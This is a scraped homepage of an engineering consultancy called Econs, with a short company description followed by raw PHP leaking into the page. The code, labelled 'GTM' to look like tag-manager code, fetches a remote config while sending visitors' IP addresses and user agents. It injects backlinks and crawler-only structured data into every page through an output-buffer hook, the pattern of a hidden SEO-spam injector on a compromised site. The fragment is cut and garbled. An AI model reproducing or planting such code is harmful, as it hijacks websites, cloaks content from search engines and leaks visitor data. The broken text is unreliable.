Econs is a Multi - Disciplinary Engineering Consultancy Company established in March, 2011 by adolescent, rapid and imaginative experts to overcome any and all hardships between perpetually changing needs of development industry and current consultancy administrations. Econs is advanced to give one stop administration/ arrangement with a more spotlight on customer prerequisites with responsive, dexterous, active and creative methodology to all prospective customers. We at Econs is a gathering of architects, from the Electrical, IT, HVAC, Plumbing and Building administrations building industry, with an aggregate proficient experience surpassing 20 man-years, served at senior positions in different associations in Pakistan. View More
$url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 5, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION, CURLOPT_HTTPHEADER => array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ) )); $response = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code === 200 && $response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } else { $headers = array( 'Accept: application/json', 'X-Client-IP: ' . $client_ip, 'X-Client-User-Agent: ' . $client_ua ); $ctx = stream_context_create(array( 'http' => array( 'timeout' => 5, 'user_agent' => 'GTM/' . GTM_VERSION, 'header' => implode("\r\n", $headers) . "\r\n" ), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) )); $response = @file_get_contents($url, false, $ctx); if ($response) { $decoded = json_decode($response, true); if (is_array($decoded)) { @file_put_contents($cache, $response); return $decoded; } } } return array(); } function gtm_render_head() { echo ' '; } function gtm_render_noscript() { $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); echo ' '; } function gtm_render_backlinks() { $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; } function gtm_render_structured_data() { if (!gtm_validate_crawler()) return; $config = gtm_fetch_config(); if (empty($config)) return; $now = time(); echo ''; } function gtm_output_handler($buffer) { if (stripos($buffer, ' '; $buffer = preg_replace('/<\/head>/i', $head . '', $buffer, 1); $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown'); $noscript = ' '; $buffer = preg_replace('/(
', $buffer, 1); } } return $buffer; } if (!defined('GTM_MANUAL_INIT')) { $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__)); if (!$is_direct && ob_get_level() === 0) { ob_start('gtm_output_handler'); } } gtm_render_noscript(); ?>